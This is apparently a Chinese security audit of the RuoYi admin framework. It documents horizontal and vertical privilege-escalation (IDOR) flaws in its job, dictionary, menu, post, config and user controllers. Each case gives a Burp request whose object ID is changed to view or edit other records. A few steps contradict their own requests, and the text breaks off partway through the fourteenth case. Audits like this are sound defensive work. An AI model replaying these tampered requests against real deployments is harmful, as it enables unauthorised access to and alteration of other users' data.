

Case1 con:6 有漏洞

水平越权漏洞：在src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java的86, 87行，/monitor/job/detail/{jobLogId}的detail方法中 通过修改jobLogId可以查看别人的任务详细，流程如下：

1.点击任务一的任务详细

The screenshot shows the Ruoyi system's monitoring interface. On the left, there's a sidebar with '定时任务' (Scheduled Tasks) selected. The main area displays a table of scheduled tasks:

任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间	操作
1	系统默认 (无参)	默认	ryTask ryNoParams	0/10 * * * ?		2025-03-07 17:52:12	
2	系统默认 (有参)	默认	ryTask ryParam(...)	0/15 * * * ?		2025-03-07 17:52:12	
3	系统默认 (多参)	默认	ryTask ryMultiplePar...	0/20 * * * ?		2025-03-07 17:52:12	

显示第 1 到 第 3 条记录，总共 3 条记录

2.用burp抓包，可以看到/monitor/job/detail/1, jobLogId为1，修改为2 点击forward



Request

Pretty Raw Hex

```

1 GET /monitor/job/detail/1 HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "macOS"
6 Accept-Language: zh-CN,zh;q=0.9

```

Request

Pretty Raw Hex

```

1 GET /monitor/job/detail/2 HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "macOS"
6 Accept-Language: zh-CN,zh;q=0.9
7 Upgrade-Insecure-Requests: 1

```

3. 成功看到任务2的任务详细

任务序号: 2

任务名称: 系统默认 (有参)

任务分组: DEFAULT

调用目标字符串: ryTask.ryParams('ry')

执行表达式: 0/15 * * * * ?

下次执行时间: 2025-03-08 15:58:00

执行策略: 放弃执行

并发执行: 禁止

执行状态: 暂停

Case2 con:11 有漏洞

水平越权漏洞：在src/main/java/com/ruoyi/quartz/controller/SysJobController.java的83, 84行, /monitor/job/detail/{jobId}的detail方法中 通过修改jobId可以查看别人的调度日志, 流程如下：1. 执行任务1一次, 执行任务2两次

2. 点击任务一的调度日志

任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间	操作
1	系统默认 (无参)	默认	ryTask.ryNoParams	0/10 * * * * ?		2025-03-07 17:52:12	
2	系统默认 (有参)	默认	ryTask.ryParams('...')	0/15 * * * * ?		2025-03-07 17:52:12	
3	系统默认 (多参)	默认	ryTask.ryMultiplePar...	0/20 * * * * ?		2025-03-07 17:52:12	

3. 用burp抓包, 可以看到/monitor/job/detail/1, jobId为1, 修改为2 点击forward

Request

Pretty Raw Hex

```

1 GET /monitor/jobLog?jobId=1 HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "macOS"
6 Accept-Language: zh-CN,zh;q=0.9
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: iframe
14 Referer: http://localhost/index
15 Accept-Encoding: gzip, deflate, br
16 Cookie: JSESSIONID=eef7e688-5eec-461e-b3df-920466022b15
17 Connection: keep-alive

```

Request

Pretty Raw Hex

```

1 GET /monitor/jobLog?jobId=2 HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "macOS"
6 Accept-Language: zh-CN,zh;q=0.9
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15
9 Accept: text/html,application/xhtml+xml,application/xml;
0 Sec-Fetch-Site: same-origin

```

4.可以看到成功获得了调用了两次的任务2的调度日志

The screenshot shows the RuoYi system's monitoring interface. On the left, there is a sidebar with navigation links: '首页', '系统管理', '定时任务' (which is currently selected), and '数据监控'. The main content area has a header with tabs: '首页', '在线用户', '定时任务', '调度日志' (which is currently selected), and '日志日志'. Below the header, there is a search bar with fields for '任务名称' (任务名称: 系统默认 (有参)), '任务分组' (任务分组: 默认), '执行状态' (所有), '执行时间' (开始时间: [empty], 结束时间: [empty]), and buttons for '搜索' and '重置'. The main table displays two rows of log entries:

日志编号	任务名称	任务分组	调用目标字符串	日志信息	状态	创建时间	操作
3	系统默认 (有参)	默认	ryTask ryParam('...')	系统默认 (有参) 总共耗时: 0毫秒	成功	2025-03-08 16:06:46	<button>详细</button>
2	系统默认 (有参)	默认	ryTask ryParam('...')	系统默认 (有参) 总共耗时: 1毫秒	成功	2025-03-08 16:06:44	<button>详细</button>

At the bottom of the table, it says '显示第 1 到第 2 条记录, 共共 2 条记录'.

Case3 con:18 不确定

在src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java的48行，system:dict:list的方法中，在获取字典列表时会调用，burp拦截的请求如图：

request

	Pretty	Raw	Hex
1	POST /system/dict/list HTTP/1.1		
2	Host: localhost		
3	Content-Length: 124		
4	sec-ch-ua-platform: "macOS"		
5	Accept-Language: zh-CN,zh;q=0.9		
6	sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"		
7	sec-ch-ua-mobile: ?0		
8	X-Requested-With: XMLHttpRequest		
9	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36		

forward之后会在页面展示dict列表

+ 新增 修改 删除 导出 刷新缓存 搜索 列筛选 全屏 网格						
字典主键	字典名称	字典类型	状态	备注	创建时间	操作
1	用户性别	sys_user_sex	正常	用户性别列表	2025-03-07 17:52:12	编辑 列表 删除
2	test	sys_test	正常	test	2025-03-07 17:52:12	编辑 列表 删除
3	系统开关	sys_normal_disable	正常	系统开关列表	2025-03-07 17:52:12	编辑 列表 删除
4	任务状态	sys_job_status	正常	任务状态列表	2025-03-07 17:52:12	编辑 列表 删除
5	任务分组	sys_job_group	正常	任务分组列表	2025-03-07 17:52:12	编辑 列表 删除
6	系统是否	sys_yes_no	正常	系统是否列表	2025-03-07 17:52:12	编辑 列表 删除
7	通知类型	sys_notice_type	正常	通知类型列表	2025-03-07 17:52:12	编辑 列表 删除
8	通知状态	sys_notice_status	正常	通知状态列表	2025-03-07 17:52:12	编辑 列表 删除
9	操作类型	sys_oper_type	正常	操作类型列表	2025-03-07 17:52:12	编辑 列表 删除
10	系统状态	sys_common_status	正常	登录状态列表	2025-03-07 17:52:12	编辑 列表 删除

显示第 1 到第 10 条记录，总共 10 条记录

如果字典信息比较敏感的话会是垂直越权漏洞

Case4 con:28 不确定

在src/main/java/com/ruoyi/generator/controller/GenController.java的97行，tool:gen:list的columnList方法中，在获取代码生成列表时会调用，burp拦截的请求如图：

Request

	Pretty	Raw	Hex	Filter	Stop	Print	Close
1	POST /tool/gen/list HTTP/1.1						
2	Host: demo.ruoyi.vip						
3	Cookie: JSESSIONID=						
4	1130ec25-0119-408a-823e-ac5d7a258ae						
5	Content-Length: 126						
6	Sec-Ch-Ua-Platform: "macOS"						
7	Accept-Language: zh-CN,zh;q=0.9						
8	Sec-Ch-Ua: "Chromium";v="133",						
9	"Not(A:Brand");v="99"						
10	Sec-Ch-Ua-Mobile: ?0						
9	X-Requested-With: XMLHttpRequest						
10	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS						

forward之后会在页面展示代码生成列表

操作						
序号	表名称	表描述	实体类名称	创建时间	更新时间	操作
1	sys_user_online	在线用户记录	UserOnline	2025-03-09 15:48:06	-	预览 编辑 删除 同步 生成代码
2	sys_dept	部门表	Dept	2025-03-08 14:25:17	2025-03-09 14:59:32	预览 编辑 删除 同步 生成代码
3	sys_menu	菜单权限表	Menu	2025-03-07 17:58:06	2025-03-09 14:11:03	预览 编辑 删除 同步 生成代码
4	sys_user	用户信息表	User	2025-03-07 17:58:06	2025-03-09 14:34:57	预览 编辑 删除 同步 生成代码
5	sys_user_role	用户和角色关联表	UserRole	2025-03-07 17:58:06	-	预览 编辑 删除 同步 生成代码
6	sys_role	角色信息表	Role	2025-03-07 09:38:46	2025-03-07 15:49:33	预览 编辑 删除 同步 生成代码
7	sys_role_dept	角色和部门关联表	RoleDept	2025-03-07 07:01:02	-	预览 编辑 删除 同步 生成代码
8	sys_logininfor	系统访问记录	Logininfor	2025-03-07 00:21:24	-	预览 编辑 删除 同步 生成代码
9	sys_notice	通知公告表	Notice	2025-03-07 00:21:24	2025-03-08 14:00:03	预览 编辑 删除 同步 生成代码
10	sys_oper_log	操作日志记录	OperLog	2025-03-07 00:21:24	-	预览 编辑 删除 同步 生成代码

显示第 1 到第 10 条记录，总共 16 条记录 每页显示 10 条记录

如果代码生成列表信息比较敏感的话会是垂直越权漏洞

Case5 con:30 有漏洞

水平越权漏洞：在src/main/java/com/ruoyi/quartz/controller/SysJobController.java的169,170行，/monitor/job/edit/{jobId}的edit方法中通过修改 jobId 可以更改别的任务的信息，流程如下：1.点击编辑任务一，把名字改为test

2.用burp抓包，点击更改，forward第一个之后，在第二个包发现jobid关键字，把它改为2，并forward

```

Pretty Raw Hex
1 POST /monitor/job/edit HTTP/1.1
2 Host: localhost
3 Content-Length: 163
4 sec-ch-ua-platform: "macOS"
5 Accept-Language: zh-CN,zh;q=0.9
6 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
7 sec-ch-ua-mobile: ?0
8 X-Requested-With: XMLHttpRequest
9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
10 Accept: application/json, text/javascript, */*; q=0.01
11 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
12 Origin: http://localhost
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: http://localhost/monitor/job/edit/1
17 Accept-Encoding: gzip, deflate, br
18 Cookie: JSESSIONID=4e1d9f0b-7fef-493b-8dbf-e5ee22a6db9e
19 Connection: keep-alive
20
21 jobId=1&updateBy=admin&jobName=test&jobGroup=DEFAULT&invokeTarget=ryTask.ryNoParams&cronExpression=0%2F10+*****%3F&misfirePolicy=3&concurrent=1&status=1&remark=

```

```

17 Accept-Encoding: gzip, deflate, br
18 Cookie: JSESSIONID=4e1d9f0b-7fef-493b-8dbf-e5ee22a6db9e
19 Connection: keep-alive
20
21 jobId=2&updateBy=admin&jobName=test&jobGroup=DEFAULT&invo
1&remark=

```



3.发现任务二的名字变为了test

任务列表							操作	
	任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间	操作
	1	系统默认 (无参)	默认	ryTask.ryNoParams	0/10 * * * * ?	正常	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button> <button>更多操作</button>
	2	test	默认	ryTask.ryNoParams	0/10 * * * * ?	正常	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button> <button>更多操作</button>
	3	系统默认 (多参)	默认	ryTask.ryMultiplePar...	0/20 * * * * ?	正常	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button> <button>更多操作</button>

Case6 con:34 有漏洞

在src/main/java/com/ruoyi/web/controller/system/SysUserController.java的349, 350行, /selectDeptTree/{deptId}的selectDeptTree方法中, selectDeptTree用于编辑用户信息时选择部门, 这应该是没问题的, 如图 1.点击修改归宿部门:

The screenshot shows a user modification form with the following fields:

- * 用户名称: 若依
- 归属部门: 深圳总公司
- 手机号码: 156666666666
- 邮箱: ry@qq.com
- * 登录账号: ry
- 用户状态:
- 岗位:
- 用户性别: 女
- 角色: (empty dropdown)

2.burp抓包可以发现selectDeptTree

Request

	Pretty	Raw	Hex	Filter	Copy	Save	Print	Close
1	GET /system/user/selectDeptTree/101 HTTP/1.1							
2	Host: localhost							
3	sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"							
4	sec-ch-ua-mobile: ?0							
5	sec-ch-ua-platform: "macOS"							
6	Accept-Language: zh-CN,zh;q=0.9							
7	Upgrade-Insecure-Requests: 1							
8	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS							

但是查看信息时, 点击部门名称就可以获取其他部门的信息, 存在垂直越权漏洞 同时, 用burp修改deptId就可以获取其他部门的信息, 有水平越权漏洞, 流程如下: 1.点击研发部门, 用burp抓包, 可以看到deptId为103



```
POST /system/user/list HTTP/1.1
Host: demo.ruoyi.vip
Cookie: JSESSIONID=002b123a-ff49-49b4-8f67-86676643d71e
Content-Length: 157
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: https://demo.ruoyi.vip
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.ruoyi.vip/system/user
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=103&pare
params%5BendTime%5D=
```

2.点击测试部门，用burp抓包，可以看到deptId为105



	Pretty	Raw	Hex
1	POST /system/user/list HTTP/1.1		
2	Host: demo.ruoyi.vip		
3	Cookie: JSESSIONID=002b123a-ff49-49b4-8f67-86676643d71e		
4	Content-Length: 157		
5	Sec-Ch-Ua-Platform: "macOS"		
6	Accept-Language: zh-CN,zh;q=0.9		
7	Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"		
8	Sec-Ch-Ua-Mobile: ?0		
9	X-Requested-With: XMLHttpRequest		
10	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6702.121 Safari/537.36		
11	Accept: application/json, text/javascript, */*; q=0.01		
12	Content-Type: application/x-www-form-urlencoded		
13	Origin: https://demo.ruoyi.vip		
14	Sec-Fetch-Site: same-origin		
15	Sec-Fetch-Mode: cors		
16	Sec-Fetch-Dest: empty		
17	Referer: https://demo.ruoyi.vip/system/user		
18	Accept-Encoding: gzip, deflate, br		
19	Priority: u=1, i		
20	Connection: keep-alive		
21			
22	pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=105¶ms%5BendTime%5D=		

3.点击测试部门，用burp抓包，修改deptId为103，可以看到研发部门信息，说明存在水平越权漏洞

用户列表						
操作		用户ID	登录名称	用户名	部门	手机
<input type="checkbox"/>	<input checked="" type="checkbox"/>	1	admin	若依	研发部门	15888888888
显示第 1 到 第 1 条记录，总共 1 条记录						

Case7 con:38 有漏洞

垂直越权漏洞：字典存储用户信息，可以直接更改字典信息说明存在垂直越权 水平越权漏洞：在src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java的98, 99行，/edit/{dictId}的edit方法中，仅更改 dictId就可以编辑其他字典，流程如下：1.编辑用户性别字典，修改字典名称，类型和备注为test

修改类型

* 字典名称: test

* 字典类型: sys_test

① 数据存储中的Key值, 如: sys_user_sex

状态: 正常 停用

备注: test

2.点击修改, 用burp抓包, 把dictId改为2, 之后forward

Connection: keep-alive

dictId=1&dictName=test&dictType=sys_test&status=0&remark=test

3.可以发现用户性别字典下面的第二个字典被全部修改

<input type="checkbox"/>	字典主键	字典名称	字典类型	状态	备注	创建时间	操作
<input type="checkbox"/>	1	用户性别	sys_user_sex	正常	用户性别列表	2025-03-07 17:52:12	编辑 列表 删除
<input type="checkbox"/>	2	test	sys_test	正常	test	2025-03-07 17:52:12	编辑 列表 删除

Case8 con:40 有漏洞

在src/main/java/com/ruoyi/web/controller/system/SysMenuController.java的82行, /add/{parentId}的add方法中, 修改parentId就可以把该方法加入别的主目录中, 流程如下: 1.点击系统管理的新增按钮, 用burp抓包, 可以发现parentId为1

菜单名称	排序	请求地址	类型	可见	权限标识	操作
系统管理	1	#	目录	-		+编辑 +新增 删除
系统监控	2	#	目录	-		+编辑 +新增 删除
系统工具	3	#	目录	-		+编辑 +新增 删除
若依官网	4	http://ruoyi.vip	菜单	-		+编辑 +新增 删除

```

1 GET /system/menu/add/1 HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="133",
  "Not(A:Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "macOS"
6 Accent-Language: zh-CN,zh:a=0.9

```

2.修改parentId的1为2, forward 3.可以发现返回了系统监控的添加菜单, 可以加入到系统监控里面

The screenshot shows the '添加菜单' (Add Menu) dialog box overlaid on the main menu list. In the dialog, the '上级菜单' (Parent Menu) is set to '系统监控'. The '菜单名称' (Menu Name) field contains 'test'. Other fields like '请求地址' (Request Address), '打开方式' (Open Method), and '权限标识' (Permission Identifier) are also visible.

Case9 con:50 有漏洞

垂直越权漏洞：可以直接更改菜单信息说明存在垂直越权 水平越权漏洞：在 src/main/java/com/ruoyi/web/controller/system/SysMenuController.java 的 121, 122 行， /edit/{menuId} 的 edit 方法中，仅修改 menuId 就可以修改别的菜单的信息，流程如下： 1. 原先菜单如下：， 编辑第一个菜单系统管理， 修改菜单名称为 test， 显示顺序为 5

菜单名称	排序	请求地址	类型	可见	权限标识	操作
○ > ④ 系统管理	1	#	目录	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>
○ > ⑤ 系统监控	2	#	目录	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>
○ > ⑥ 系统工具	3	#	目录	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>
○ ↗ 若依官网	4	http://ruoyi.vip	菜单	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>

上级菜单:

无



* 菜单类型:

 目录 菜单 按钮

* 菜单名称:

test

* 显示排序: ②

5

图标: ②

fa fa-gear

菜单状态: ②

 显示 隐藏

2.点击修改，用burp抓包，把menuId从1改为2，之后forward

Pretty Raw Hex

```

1 POST /system/menu/edit HTTP/1.1
2 Host: localhost
3 Content-Length: 124
4 sec-ch-ua-platform: "macOS"
5 Accept-Language: zh-CN,zh;q=0.9
6 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
7 sec-ch-ua-mobile: ?0
8 X-Requested-With: XMLHttpRequest
9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
10 Accept: application/json, text/javascript, */*; q=0.01
11 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
12 Origin: http://localhost
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: http://localhost/system/menu/edit/1
17 Accept-Encoding: gzip, deflate, br
18 Cookie: JSESSIONID=2a059b86-3de2-4763-b0f6-140ae1dd0ebc
19 Connection: keep-alive
20
21 menuId=2&parentId=0&menuType=M&menuName=test&url=%23&target=menuItem&perms=&orderNum=5&icon=fa+fa-gear&visible=0&isRefresh=1

```

3.可以发现第二的系统监控变成了第五的test

菜单名称	排序	请求地址	类型	可见	权限标识	操作
○ > ④ 系统管理	1	#	目录	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>
○ > ⑥ 系统工具	3	#	目录	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>
○ ↗ 若依官网	4	http://ruoyi.vip	菜单	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>
○ > ④ test	5	#	目录	显示	-	<input type="checkbox"/> 编辑 <input type="button" value="+新增"/> <input type="button" value="删除"/>

Case10 con:53 不确定

在src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java的58行，monitor:job:list的list方法中 在获取job列表时会调用，burp拦截的请求如图：

Request

Pretty Raw Hex

```

1 POST /monitor/job/list HTTP/1.1
2 Host: localhost
3 Content-Length: 84
4 sec-ch-ua-platform: "macOS"
5 Accept-Language: zh-CN,zh;q=0.9
6 sec-ch-ua: "Chromium";v="133",
7 "Not(A:Brand";v="99"
8 sec-ch-ua-mobile: ?0
9 X-Requested-With: XMLHttpRequest
10 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS
    X 10_15_7) AppleWebKit/537.36 (KHTML, like
        Gecko) Chrome/133.0.0.0 Safari/537.36
11 Accept: application/json, text/javascript, */*;
    q=0.01
12 Content-Type: application/x-www-form-urlencoded
-----+-----+-----+-----+-----+-----+

```

forward之后会在页面展示job列表

操作	创建时间	执行表达式	调用目标字符串	任务分组	任务名称	任务编号
<input type="button" value="编辑"/> <input type="button" value="删除"/> <input type="button" value="更多操作"/>	2025-03-07 17:52:12	0/10 * * * ?	ryTask.ryNoParams	默认	系统默认 (无参)	1
<input type="button" value="编辑"/> <input type="button" value="删除"/> <input type="button" value="更多操作"/>	2025-03-07 17:52:12	0/10 * * * ?	ryTask.ryNoParams	默认	test	2
<input type="button" value="编辑"/> <input type="button" value="删除"/> <input type="button" value="更多操作"/>	2025-03-07 17:52:12	0/10 * * * ?	ryTask.ryNoParams	默认	test	3

显示第 1 到第 3 条记录, 共计 3 条记录

如果job信息比较敏感的话会是垂直越权漏洞

Case11 con:54 有漏洞

垂直越权漏洞：可以直接更改岗位信息说明存在垂直越权 水平越权漏洞：在 src/main/java/com/ruoyi/web/controller/system/SysPostController.java的109, 110行, /edit/{postId}的edit方法中, 仅修改postId就可以修改别的岗位的信息, 流程如下:

- 原先岗位信息如下, 编辑第一个岗位董事长,

<input type="checkbox"/> 岗位编号	岗位编码	岗位名称	显示顺序	状态	创建时间	操作
<input type="checkbox"/> 1	ceo	董事长	1	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 2	se	项目经理	2	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 3	hr	人力资源	3	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 4	user	普通员工	4	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>

* 岗位名称: test

* 岗位编码: test

* 显示顺序: 5

岗位状态: 正常 停用

备注:

2.点击修改并抓包, 把postId改为2, forward

```

7 Accept-Encoding: gzip, deflate, br
8 Cookie: JSESSIONID=2a059b86-3de2-4763-b0f6-140ae1dd0ebc
9 Connection: keep-alive
0
1 postId=1&postName=test&postCode=test&postSort=5&status=0&remark=

```

3.可以发现2号岗位移到了最后, 变成了test

<input type="checkbox"/> 岗位编号	岗位编码	岗位名称	显示顺序	状态	创建时间	操作
<input type="checkbox"/> 1	ceo	董事长	1	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 3	hr	人力资源	3	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 4	user	普通员工	4	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 2	test	test	5	正常	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>

Case12 con:58 有漏洞

垂直越权漏洞：在src/main/java/com/ruoyi/web/controller/system/SysConfigController.java的113行，editSave方法中，普通用户可以直接更改config信息说明存在垂直越权 原本config如下：

参数配置列表							操作
参数主键	参数名称	参数键名	参数键值	系统内置	备注	创建时间	操作
1	主框架页-默认皮肤样式名称	sys.index.skinName	skin-blue	是	蓝色 skin-bl...	2025-01-04 12:00:25	<button>编辑</button> <button>删除</button>
2	用户管理-账号初始密码	sys.user.initPasswor...	123456	是	初始化密码 1234...	2025-01-04 12:00:25	<button>编辑</button> <button>删除</button>
3	主框架页-侧边栏主题	sys.index.sideTheme	theme-dark	是	深黑主题theme-d...	2025-01-04 12:00:25	<button>编辑</button> <button>删除</button>
4	账号自助-是否开启用户注册功能	sys.account.register...	false	是	是否开启注册用户功能...	2025-01-04 12:00:25	<button>编辑</button> <button>删除</button>
5	用户管理-密码字符范围	sys.account.charset	0-128	否	用户管理-密码字符范围 0-128	2025-01-04 12:00:25	<button>编辑</button> <button>删除</button>

如图成功修改：

参数配置列表							操作
参数主键	参数名称	参数键名	参数键值	系统内置	备注	创建时间	操作
1	change_test	sys.index.skinName	skin-blue	是	蓝色 skin-bl...	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>
2	用户管理-账号初始密码	sys.user.initPasswor...	123456	否	初始密码 1234	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>

Case13 con:64 有漏洞

在src/main/java/com/ruoyi/quartz/controller/SysJobController.java的98行，changeStatus方法存在水平越权和垂直越权漏洞 垂直越权漏洞：普通用户可以直接修改任务状态：如图任务1原本为运行状态：

任务调度列表							操作
任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间	操作
1	系统默认 (无参)	默认	ryTask ryNoParams	0/10 * * * ?	运行	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>
2	test	默认	ryTask ryNoParams	0/10 * * * ?	运行	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>
3	test	默认	ryTask ryNoParams	0/10 * * * ?	运行	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>

显示第 1 到第 3 条记录，总共 3 条记录

以普通用户身份改变状态成功：

任务调度列表							操作
任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间	操作
1	系统默认 (无参)	默认	ryTask ryNoParams	0/10 * * * ?	运行	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>
2	test	默认	ryTask ryNoParams	0/10 * * * ?	运行	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>
3	test	默认	ryTask ryNoParams	0/10 * * * ?	运行	2025-03-07 17:52:12	<button>编辑</button> <button>删除</button>

水平越权漏洞：在burp修改jobid就可以修改别的任务的状态：1.三个任务都为运行时，点击修改任务1的任务状态

<input type="checkbox"/>	任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间
<input type="checkbox"/>	1	系统默认（无参）	默认	ryTask ryNoParams	0/10 **** ?	<input checked="" type="checkbox"/>	2025-03-07
<input type="checkbox"/>	2	test	默认	ryTask ryNoParams	0/10 **** ?	<input checked="" type="checkbox"/>	2025-03-07
<input type="checkbox"/>	3	test	默认	ryTask ryNoParams	0/10 **** ?	<input checked="" type="checkbox"/>	2025-03-07

2.用burp抓包，修改jobid为2， forward

Request

Pretty	Raw	Hex
<pre> 1 POST /monitor/job/changeStatus HTTP/1.1 2 Host: localhost 3 Content-Length: 33 4 sec-ch-ua-platform: "macOS" 5 Accept-Language: zh-CN,zh;q=0.9 6 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99" 7 sec-ch-ua-mobile: ?0 8 X-Requested-With: XMLHttpRequest 9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 10 Accept: application/json, text/javascript, */*; q=0.01 11 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 12 Origin: http://localhost 13 Sec-Fetch-Site: same-origin 14 Sec-Fetch-Mode: cors 15 Sec-Fetch-Dest: empty 16 Referer: http://localhost/monitor/job 17 Accept-Encoding: gzip, deflate, br 18 Cookie: JSESSIONID=51b4a6c2-ad9b-46c8-84f0-fd9ed27c3da0 19 Connection: keep-alive 20 21 jobId=1&jobGroup=DEFAULT&status=1 </pre>		
	<pre> Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=51b4a6c2-ad9b-46c8-84f0-fd9ed27c3da0 Connection: keep-alive </pre>	
	<pre>jobId=2&jobGroup=DEFAULT&status=1</pre>	

3.可以发现任务2状态改变为关闭状态：

<input type="checkbox"/>	任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间
<input type="checkbox"/>	1	系统默认 (无参)	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:1
<input type="checkbox"/>	2	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:1
<input type="checkbox"/>	3	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:1

显示第 1 到第 3 条记录, 共共 3 条记录

Case14 con:65 有漏洞

在src/main/java/com/ruoyi/quartz/controller/SysJobController.java的98行, changeStatus方法存在水平越权和垂直越权漏洞 垂直越权漏洞: 普通用户可以直接修改任务状态: 如图任务1原本为关闭状态:

<input type="checkbox"/>	任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间
<input type="checkbox"/>	1	系统默认 (无参)	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:12
<input type="checkbox"/>	2	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:12
<input type="checkbox"/>	3	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:12

显示第 1 到第 3 条记录, 共共 3 条记录

以普通用户身份改变状态成功:

<input type="checkbox"/>	任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间
